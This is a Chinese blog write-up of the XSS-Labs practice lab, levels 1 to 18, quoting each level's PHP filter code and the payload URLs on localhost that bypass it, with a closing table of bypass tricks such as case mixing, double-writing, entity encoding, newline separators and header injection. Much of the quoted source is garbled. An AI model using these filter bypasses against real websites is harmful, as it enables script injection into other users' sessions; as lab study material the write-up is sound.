对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)


最近闲来无事,重新翻阅了XSS-Labs的源码,整理了常见的防御思路,和对绕过方法进行了总结学习,具体的内容思路分析如下:

关卡记录

01-Level1

网站源码:





欢迎来到level1


欢迎来到level1

欢迎用户".$str.""; ?>
payload的长度:".strlen($str).""; ?>

可以看到网站的源码中第 17 行至第 18 行的运行逻辑是接收名称为 name 的参数,然后打印到网页上,
由于没有对$_GET变量进行验证或过滤,这可能会导致安全风险,比如 XSS 注入攻击,使用如下 Payload 可以触发 XSS 攻击。

http://127.0.0.1/xss/level1.php?name=%3Cscript%3Ealert(%271%27)%3C/script%3E

对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第1张图片

02-Level2

网站源码:





欢迎来到level2


欢迎来到level2

没有找到和".htmlspecialchars($str)."相关的结果.".'
'; ?>
payload的长度:".strlen($str).""; ?>

核心代码分析:

ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'

关键函数分析:

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'

htmlspecialchars 是一个在 PHP 中广泛使用的函数,它的主要作用是将特定的字符转换为 HTML 实体。这些特定的字符包括小于号(<)、大于号(>)、引号(")、尖括号(')和和号(&)。在输出到网页上时,这些字符如果以原始形式出现,可能会改变页面的结构或执行意外的脚本。通过转换这些字符为对应的 HTML 实体,htmlspecialchars 函数保证了输出的安全性和正确性。
同时:默认情况下,htmlspecialchars 只转换双引号。如果需要转换单引号和尖括号,需要设置相应的标志:

echo htmlspecialchars("This is a test & example", ENT_QUOTES);

当我们输入第一关的 payload 后会注意到,前端代码显示如下 文所示:
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第2张图片
其第一段和我们输入有关的代码以二级标题的形式显示在网页中并且存在过滤,而第二段和我们输入有关的代码则位于名为keywordinput模块的value中,因此我们考虑想办法让value中的值与input模块闭合,从而造成恶意的Javascript执行。
因此我们构造如下的 Payload:

">



欢迎来到level3


欢迎来到level3

没有找到和".htmlspecialchars($str)."相关的结果."."
"; ?>
payload的长度:".strlen($str).""; ?>

核心代码分析:

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"."

可以看到此时两处和输入有关的代码,都使用了 htmlspecialchars进行了过滤。
我们将第二关的 Payload 放入第三关,可以看到尖括号已经被过滤:
图片.png
因此我们考虑不使用尖括号进行 XSS 攻击,而是在原有基础上进行闭合 并且进行额外的JavaScript执行。
因此构造 Payload 如下:

' onmouseover=javascript:alert(123) >

和原有 URL 组合即为:

http://127.0.0.1/xss/level3.php?keyword=%27+onfocus%3Djavascript%3Aalert%281%29%22%3E&submit=%E6%90%9C%E7%B4%A2

此时前端代码显示如下,成功触发 XSS 漏洞

对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第5张图片对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第6张图片04-Level4

网页源码:





欢迎来到level4


欢迎来到level4

","",$str); $str3=str_replace("<","",$str2); echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>
payload的长度:".strlen($str3).""; ?>

核心代码:

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'

代码分析:可以看到 Level4 不同于 Level3 的区别在于首先闭合方式上 Level4 的双引号闭合,而 Level3 是单引号闭合,并且 input 模块处没有使用htmlspecialchars,但是 Level4 过滤的<,>两个括号,因此绕过思路同htmlspecialchars,不同的是htmlspecialchars会过滤双引号,而此处需要我们使用双引号绕过,因此十分好绕过,构造 Payload 如下:

" onmouseover=javascript:alert(123) 

和原有 URL 组合即为:

http://127.0.0.1/xss/level4.php?keyword=%22+onmouseover%3Djavascript%3Aalert%28123%29+&submit=%E6%90%9C%E7%B4%A2

此时前端代码显示如下,成功触发 XSS 漏洞
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第7张图片

05-Level5

网页源码:





欢迎来到level5


欢迎来到level5

没有找到和".htmlspecialchars($str)."相关的结果.".'
'; ?>
payload的长度:".strlen($str3).""; ?>

核心代码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'

核心代码分析:
此处使用了多个函数进行处理,首先将字符统一转换为小写字符,避免了大小写绕过,然后再将转换为,最后再将on转换为了o_n,这个时候简单的使用事件对象和script标签进行触发会很困难,因此考虑使用超链接触发,构造 Payload 如下:

" >haha

与原本 URL 组合后发送,网页显示如下,点击后触发 XSS
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第8张图片

06-Level6

网页源码:





欢迎来到level6


欢迎来到level6

没有找到和".htmlspecialchars($str)."相关的结果.".'
'; ?>
payload的长度:".strlen($str6).""; ?>

核心代码:

$str = $_GET["keyword"];
$str2=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'

可以看到本关卡的过滤过滤了scriptonsrcdatahref,但是并没有将字符统一转换为小写,因此可以进行大小写绕过,构造 payload 如下:

" oNmouseover=javascRipt:alert(123) 

与原本 URL 组合后发送,网页显示如下,成功触发 XSS
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第9张图片

07-Level7

网页源码:





欢迎来到level7


欢迎来到level7

没有找到和".htmlspecialchars($str)."相关的结果.".'
'; ?>
payload的长度:".strlen($str6).""; ?>

核心代码:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'

本关卡在 Level6 的基础上统一将字符串转为了小写,进行了过滤。但是这个时候的过滤是将恶意字符串转换为空,因此可以考虑使用双写绕过,构造 payload 如下:

" oonNmouseover=javascRscriptipt:alert(123) 

与原本 URL 组合后发送,网页显示如下,成功触发 XSS
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第10张图片

08-Level8

网页源码:





欢迎来到level8


欢迎来到level8

'; ?>
友情链接'; ?>
payload的长度:".strlen($str7).""; ?>

核心代码:


'; ?>
友情链接'; ?>

可以看到本次的过滤手法有:

  • 统一转换为小写字符串
  • 过滤了关键字**script****on****src****data****href**
  • 对双引号做了过滤,导致了闭合困难。

突破口:

 echo '

友情链接
';

这种时候,原有的英文编码方式已经无法绕过,考虑换一种方式,此时我们考虑使用 HTML 实体编码:

HTML实体编码是一种在HTML文档中使用的编码机制,它允许开发者将特定的字符序列转换为安全的显示内容。在HTML中,某些字符具有特殊意义,比如小于号(<)和大于号(>)用于定义HTML标签,如果直接在这些字符后面加上文本,浏览器会误以为是标签而不是文本。为了避免这种情况,HTML实体编码提供了一种方法,将这些特殊字符转换为编码形式,从而在浏览器中正确显示文本。

HTML实体编码的基本结构由一个特殊字符的开始(通常是"&“),接着是一个实体名称或实体编号,最后是一个分号(”;")。实体名称通常是拉丁字母和数字的组合,而实体编号则是该字符在Unicode标准中的数值表示。

此时我们首先构造 Payload:

javascript:alert(1)

然后将其转换为 HTML 实体编码

javascript:alert(1)

对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第11张图片复制 Payload 进行发送,成功触发 XSS
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第12张图片

09-Level 9

网页源码:





欢迎来到level9


欢迎来到level9

'; ?>
友情链接'; } else { echo '

友情链接
'; } ?>
payload的长度:".strlen($str7).""; ?>

本关卡依旧使用 HTML 实体编码,不同的是,它需要我们的字符串中出现http://,否则无法正常显示,因此构造 Payload 如下:

javascript:alert(1)//http://

注意语句中的//http://这是利用了注释符的作用,如果没有前面的//会导致语句无法正常执行。
复制 Payload 进行发送,成功触发 XSS
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第13张图片

10-Level10

网页源码:





欢迎来到level10


欢迎来到level10

","",$str11); $str33=str_replace("<","",$str22); echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>
payload的长度:".strlen($str).""; ?>

核心代码:

","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>

首先使用了htmlspecialchars过滤了变量keyword的参数,然后存在隐藏参数,t_sort过滤了尖括号,因此考虑使用 Level6 的绕过方式进行绕过,同时需要将隐藏参数显示在前端使得触发,构造 payload 如下:

" type="text" onmouseover="javascript:alert(1)
# 注意,onmouseover= 后的双引号是为了完成闭合

复制 Payload 进行发送,成功触发 XSS
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第14张图片

11-Level11

网页源码:





欢迎来到level11


欢迎来到level11

","",$str11); $str33=str_replace("<","",$str22); echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>
payload的长度:".strlen($str).""; ?>

核心代码:

","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>
payload的长度:".strlen($str).""; ?>

可以看到其实对变量keywordt_sort都进行了过滤,而新引进了参数HTTP_REFERER,因此我们构造数据包,从 Refer 参数中进行恶意 Payload 发送,实现 XSS 攻击
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第15张图片
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第16张图片

12-Level12

网页源码:





欢迎来到level12


欢迎来到level12

","",$str11); $str33=str_replace("<","",$str22); echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>
payload的长度:".strlen($str).""; ?>

核心代码:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'

解题思路:
**通过 ****User-Agent**进行注入,构造数据包如下:
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第17张图片发送数据包后成功触发 XSS 请求攻击
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第18张图片

13-Level13

网页源码:





欢迎来到level13


欢迎来到level13

","",$str11); $str33=str_replace("<","",$str22); echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
'; ?>
payload的长度:".strlen($str).""; ?>

核心代码:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

".'
';

解题思路:
**通过 ****Cookie**进行注入,构造数据包如下:
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第19张图片发送数据包后成功触发 XSS 请求攻击
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第20张图片

14-Level14

不知道为啥无法正常访问服务,考察的是 EXIF XSS,后续会专门找资料进行练习

15-Level15

网页源码:



        
        

欢迎来到level15

欢迎来到第15关,自己想个办法走出去吧!

'; ?>

核心代码:

echo '';

其中,最关键的是ng-include,ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点,ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
构造 Payload 如下:

  'level1.php?name='

发送后成功触发 XSS 攻击

http://127.0.0.1/xss/level15.php?src=  'level1.php?name='

对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第21张图片

16-Level16

网页源码:





欢迎来到level16


欢迎来到level16

".$str5.""; ?>
payload的长度:".strlen($str5).""; ?>

核心代码:

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("	"," ",$str4);
echo "
".$str5."
";

过滤了 script、空格、斜杠符等字符。
因此通过换行符进行绕过
构造 payload 如下:


放入 URL 中格式如下:

http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0Asrc=1%0Aonerror=alert(123)%3E

发送后成功触发 XSS 攻击
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第22张图片

17-Level17

网页源码:





欢迎来到level17


欢迎来到level17

"; ?>

成功后,点我进入下一关

核心代码:

";
?>

构造 Payload:

http://127.0.0.1/xss/level17.php?arg01=a&arg02=1%27%20onmouseover=alert(1)

对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第23张图片

18-Level18

网页源码





欢迎来到level18


欢迎来到level18

"; ?>

核心代码:

";
?>

构造 Payload:

http://127.0.0.1/xss/level18.php?arg01=a&arg02=1%27%20onmouseover=alert(1)

对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第24张图片

方法总结

XSS 常见过滤方法和绕过方式如下表所示:

过滤方式 绕过方法 示例
htmlspecialchars 函数 这种方法过滤了尖括号,默认情况下过滤了双引号,因此我们需要使用构造闭合的方式去绕过 'onmouseover=javascript:alert(123) >
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第25张图片
正则匹配过滤 on,并且不受空格替换,统一进行小写转换 这种可以尝试使用标签进行绕过 " >haha对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第26张图片
正则匹配过滤 on,并且不受空格替换,不统一进行小写转换 通过大小写绕过的方式进行绕过 " oNmouseover=javascRipt:alert(123)
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第27张图片
正则匹配过滤 on,受空格替换,统一进行小写转换 通过双写绕过的方式进行绕过 " oonNmouseover=javascRscriptipt:alert(123) 对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第28张图片

- 统一转换为小写字符串
- 过滤了关键字**script****on****src****data****href**
- 对双引号做了过滤,导致了闭合困难。
使用 HTML 实体编码绕过
javascript:alert(1)
对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第29张图片
过滤了 script、空格、斜杠符等字符。
因此通过换行符进行绕过 对常见的XSS防御和绕过手法的分析 XSS-Lab全解(1-18)_第30张图片

在进行 XSS 注入的时候,最关键的就是关注交互的参数点,这种参数点可能并不会以显示的性格是显示在前端,可能是 hidden 的形式,也可能是 Cookie、User-Agent、Refer 这些参数。
因此我们需要在渗透的时候更多的关注这些参数点。同时也需要解决如何自动化发现 XSS 漏洞的问题。

你可能感兴趣的:(Web安全,xss,前端,网络安全)